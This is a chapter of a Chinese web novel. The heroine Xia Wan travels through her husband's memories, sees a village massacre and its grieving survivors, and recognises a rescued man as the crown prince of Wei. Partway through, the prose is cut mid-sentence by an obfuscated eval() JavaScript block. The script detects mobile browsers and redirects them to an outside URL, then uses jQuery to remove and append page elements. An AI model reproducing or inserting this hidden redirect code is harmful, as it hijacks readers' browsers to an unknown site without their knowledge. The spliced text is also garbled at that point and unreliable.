那日夏绾脱离福安的身体后,飘荡在了他的记忆之河中。最后一眼,是看到他向画面中的绾绾许下承诺,但顷刻之间似有什么吸力一般把夏绾从山间屋舍中吸出,然后她能感觉到福安的气息越来越远,好像脱离了由物质组成的世间,来到了一个异世界。
夏绾的耳边时常传来那蛊惑之音,那声音让她停下,说只要停下,她就可以回到林舍小屋、隐居之所,好好当她的‘常乐’,与‘余欢’安度此生。但只要她能再坚持奏起下一个音符,那个声音又会仓皇逃掉。每每脑海中闯入这样的声音,她便能感到自己的□□又虚弱了几分。
她试图探究这个空间的规则。
它是由黑色组成的,其间盛放着的是——福安所有的记忆,它们都如一个片段一个片段的在这个空间里放映。但每次夏绾只能沿着片段排列的顺序进入,且每个片段只能窥探一次。而后,那一处的画面便会在顷刻之间轰然崩裂,变成一个黑色的大窟窿。
夏绾推测记忆片段排列的顺序应是事件发展的顺序,虽然片段与片段之间像是断片的序章无法连接上,但是所对应的都是因果。并且她在记忆中所见的仅仅只有福安的记忆,所见所闻都仅限于他所知所想。
上次,夏绾上次进入的记忆片段是,早间山下的大夫前来为林婶儿子看伤,无奈地摸着胡子摇头道,他的手创面切口太大,已然没办法恢复如初,以后怕是在无法打猎了,好在伤口处理得及时,命是保住了。他媳妇抱着他低低的哭,她和福安一起将那大夫送出去。
但琴音刚消散在下一个音符奏响时,夏绾又被拽入下一个记忆片段:林婶清洗着丈夫的头颅和身体的血迹,再将其小心翼翼地拼接起来,又换上她不常穿的青衫,她对夏绾和福安说,“这是他生前最不喜欢穿的衣裳,总嫌着太有书生气,你看这大老粗的模样,哪有什么书生气。”
说罢挤出无奈的苦笑,过了好久出殡的人来了,林婶穿着白色的布衣,在一旁看着他们抬起草席,也不哭也不闹,只是摸着怀中捧着的她丈夫常常吃饭的碗,那碗因为用多了凹进去了一块。林婶泪眼婆娑的看着那碗,什么也没说,只是捧在脸上蹭了蹭。出殡了人走远了,夏绾看到福安轻柔地抚摸着她的背,她什么也没说,只是埋入他的怀中。
夏绾想,那时的她应该是极害怕与他天人永隔吧。她脑海中浮现出福安躺在冰棺中苍白死寂的脸,这里的福安是那么鲜活,鲜活得她想在这里长久得留下去。但她更想冰棺中的福安重新舒展笑言,哪怕是在没有她的世界也要灿烂地活下去。
登时,耳边的靡靡之音似乎又要响起,她能感受到琴弦已经刺破她的皮肤,一刀刀割着她的骨头,不等那声音响起,她赶紧奏响下一个音符。
夏绾看到,官差们接到告案后,急匆匆地赶了上来,随后仵作当场验尸,再然后山上被列为了禁区,却什么消息没有。每当她想突破福安的视野去探查新的东西,就有一种无形的力量把她拖到他目之所及的范围。后来官差说什么也没发现,这桩案件不了了之,村里除了大人们偶尔茶余饭后谈到这桩血案,就是大人们用这个事情恐吓不听话想去山上玩的小孩。余下的悲伤只有林婶一个人抗。
林婶的儿子似是受到了极大的创伤,也不能说清那日到底发生了什么,竟变得有些疯疯癫癫的。但只要一看到人身着黑衣,便开始跪地叩首,颤抖地大喊,“放过我们吧,我们什么都没看到……什么都没看到……”
按理说,这个事情这么大,本不该如此快的草草收场,这记忆之初淑妃让夏绾隐居于此的原因亦是,这里的府衙是耳聪目明之人,这般潦草收场这个血案却是稀奇。
或许,案件之后是更大的黑手让他不得不停止调查,又或许,他是真的查不到什么,毕竟这些死者除了林婶一家外都是外来人,且也没有人来申领这些尸体,像是凭空出现又变成模样也分不清的残尸。
接着,夏绾看到,一日林婶从林间抬回一个全身是伤的男人,那男人伤得极重,林婶跪在地上求着她和福安救这个男人。她说,“俺丈夫死了,儿子疯了,官府却未给一个交代,想必后面是他们惹不起的大人物。”
她重重地跪下向夏绾磕头,夏绾看见画面中的她和福安想把林婶扶起来,但林婶似乎使出浑身的气力挣脱他们,然后又重重地叩首,哽咽道,“‘常乐’,我知道这很难为你!但这个人也受伤了,说不定和他们经历了一样的可怕的事情,‘常乐’,我求求你,我不敢让官来解决,也不敢让其他人知晓,我求求你,救救他,哪怕只要有一丝机会,我也想知道那日究竟发生了什么!”
她的头磕出了血迹,夏绾看见自己和福安相视良久,终于画面中的她走过去蹲在地上和林婶,拂过她脸上的泪痕道,“好,林婶,我答应你。”
夏绾看到她和福安为这个男子清洗着血迹,他的脸生得却是那般的熟悉,她似乎在哪个画卷里见过,但一时间竟想不出来此人是谁。
片段中,此人似乎因高热昏睡了很久,夏绾为此人熬药,福安则是帮忙着给这人清理身体,林婶则是下山购买需要的缺少的草药。世间在焦灼中度过,只有那男子还算温热的身体以及胸膛微弱的起伏,证明生命尚未离去。
终于,在一行人的同心协力下,他终于醒了过来,但意识却不那么清醒。
夏绾飘在画面中,第一次清晰地看到了这人的眸子——竟是棕色的。
棕色瞳仁!魏国皇室的眼睛也是棕色的!
她心中大颤,这!这!这脸其实夏绾此前是见过的,她死死地盯着他的脸确认,记忆中模糊的轮廓和眉眼逐渐变得清晰可见!记忆的画册似被重新翻开,那是在父皇要遣夏绾和魏国联姻时,她曾在送来的画册中看过他的脸。
他就是魏国太子,苏启!
但福安的记忆片段中,却缺少魏国的拼图。此时,苏启在福安的记忆里到底扮演着什么角色?为什么有这么多变数?这魏国皇室之子为何出现在大夏领土?又为何身负重伤?是否是刺杀?是否是政变?大夏战马素来充盈,为何在福安的记忆里,却反要颁行“征马令”?
救他,并非是明智之举,或许单单知道他在这呆过的消息便会让她和福安甚至是整个村子的人死无葬身之地。那黑夜里至今未查明的二三十余具尸体,此时‘常乐’和‘余欢’亦是再普通不得的平民,届时会有活路吗?
夏绾想冲过去告诉他们就不得,救了怕是会有祸事,但当她每走进一步,这记忆片段便会挪开一步,当她再奔跑过去想再近些,画面却离她更远。不论她怎么向前,画面总是相应飘远!
“看吧,这就是徒劳!”
那道蛊惑之音竟在此刻奸笑着钻入夏绾的脑海中,一股钻心的疼痛在她的头里爆开,声音像是抓着她脑海中的每一寸经脉,慢慢揉搓和挤压,它再次传来,带着赤裸的嘲讽“这就是命!哈哈哈哈!你知道他是魏国皇室又如何?你能改变什么?停下吧!你就算耗尽自己救活他,他也不会记得你分毫!不如就此停下,我给你送回最初你们隐居的时间,说不定我还会大发慈悲地给你放入‘常乐’的身体里,让你彻底成为她,你不是很爱他吗?在这里安生快活下去,有什么不好?”
夏绾抵御着心中松动的欲念,那欲念催促她答应与声音的交易,‘对呀,留下来,我什么都可以装作不知道,带着‘余欢’逃吧,逃到另外一个地方,安生下来,好好过活。民生和我何关?百姓和我何关?这苍生和我何关?魏国阴谋又如何?大军压境又怎么样?战火纷飞又怎样?我们相守不就好了?!’
但猛然间脑海中浮现的是母亲为她梳着发,给她说,身上的华服是万民所供,在享尽荣华富贵,要时刻秉有感怀之心。她从前只是未彻悟此言,百姓仍然是脑海中的符号。
但这段时光的乡间生活,她看见户市街繁荣的景象,也看到它凋敝的模样,米铺的那位跪地求米的老爷爷,那在街头蜷缩的孩童难民,将何去何从?她似乎能感受到若魏国阴谋得逞后,大夏倾覆后的血流成河,尸横遍野,难道她真的忍心让他们这么鲜活的生命就这样死去?
夏绾的脑海中又浮现出林婶抱着的丈夫头颅的心死,他儿子半疯半傻的悲,还福安那毫无生气、苍白的脸——一切在她的脑海中轰然重叠——天下人的生离死别,早以她血脉相连。
她破釜沉舟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17044534|194725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地使出全身气力,吼道,“不要!不要!你滚出去!”
“我要救他,亦要再看这阴谋始末……”语罢,夏绾奏起了下一个音符,琴声铮然作响,响彻在暗室之内,一旁的高僧转到佛珠的声音映入脑海,意念通达。
她已然做出抉择:“不计一切代价!”
突然,夏绾被拽入了下一个画面,那人已几近痊愈。画面中,福安才端着煎好的药进门,他似是故意一般,含情脉脉地看着她道,“连日承蒙小娘子的细心照料,在下无以为报。唯有……”
他顿了顿,目光在夏绾的脸上游走,半是戏谑半是玩笑道,“以身相许,如何?”
“哐当——”
只听药轰然打碎,福安冲过来,第一次像是宣誓主权一般地将她护入怀中,手臂箍得死紧,道,“她是我娘子。”
苏启玩味地看着福安,又深深地看向她,眼色不明。他‘哎呀’一声,叹息到,音色确有一丝街边混子的挑衅的味道,目光又慢悠悠地滑向夏绾,拖长了调子似是挑衅道,“可惜呀……貌美的小娘子已经嫁给了别人。不过……”
他故意停下来,眼神瞥向福安道,“我们来日方长……”
福安捏起拳头是要冲上去揍他,夏绾见画面中的自己拉住他,然后林婶冲了进来,她拽起苏启的衣袖地问,“你告诉婶子,你是谁?是谁伤了你?你为何在那山里?”她的嗓音中带着哭腔,急急地想寻求一个答案。
就在这一刹那,苏启脸上所有得轻佻、玩味瞬间褪得干干净净,眸子里只剩下劫后余生的茫然、惊惧,以及恰到好处的感恩,倒真的像个无辜者一般,他似是要跪下,但被林婶在中途拦截住,嘴唇哆嗦道“婶子,多谢救命之恩。我叫‘秦风’,是互市埠游走的商人。近期两边边政收紧,我和兄长想着返乡,于是拾好细软本想绕过这山道走近路归家。不想途中遇上了盗匪,并与兄长走散,他们洗劫了我的财物,并欲将我灭口,九死一生下我才逃出山林。”
语毕,他竟痛苦地闭上了眼睛,似乎那日的事情曾真实发生,他又陷入无边的恐惧中。
接着他又缓缓开口,“在这数日中,我对小娘子一见倾心,但得知她已然婚嫁。”他又可怜地望向画面中的夏绾,似真的错过了心爱的女子一般。夏绾看见画面中福安挡在她的身前,紧紧攥着她的手。
“哎……”他深深叹口气,“目前我的身子也已大好,我想继续寻找我的兄长,明日便会离去。”
“各位的救命之恩,秦某来日在报!”语毕,他深深地向林婶鞠躬。
林婶探究的眼神渐渐熄灭,只剩下一片空洞,似是真的信服了他所言一般,拍拍他的肩膀,她像是泄了气一般,如同一片要被风吹走的枯叶,拖着身体一跛一跛地走出门外。
门外的风呼啸地灌进来,瞬间吹乱了林婶花白的头发,也吹得她单薄的衣衫紧紧贴在已然瘦骨嶙峋的身子上。那萧瑟的背影似乎虽是要被风吹散。夏绾站在画面中,心脏骤然一缩——那个曾经和福安记忆里的她在槐树下磕着瓜子、聊着家长里短的林婶,再也不在了。
远远的,林婶的儿子痴痴傻傻地坐着,却在林婶出门的那一刻眼神中燃起微光,像在陌生人中认出了最熟悉的那个人,扑过去:“娘……”。母子相互搀扶的背影,缓缓淡出了福安的视野,也淡出了这片记忆,沉入了无边的黑暗中。
“轰——”
眼前的画面变为一个巨大的黑窟窿。林婶母子的背影,连同那间小屋,彻底消失在虚无中。
夏绾被强大的吸力又一次抛入了空间中。但这一次,她并未顺着吸力进入下一段记忆,而是第一次朝着那黑窟窿跑去,她想重新看看福安视角下的苏启,审视他的异样。
但越靠近,一股源自世界规则本身的排斥力便更加强烈,阻止着她的僭越。
但当夏绾要摸到那黑洞的边缘时,她的喉咙登时涌起一阵猩甜,随即竟吐出血来,几乎要将其从“忘忧曲”的意境中拉出,不可功亏一篑!
夏绾赶紧弹下下一个音符,试图让她维持在这意象中。
猛然间,她又被一阵吸力拉入到了下一个画面中……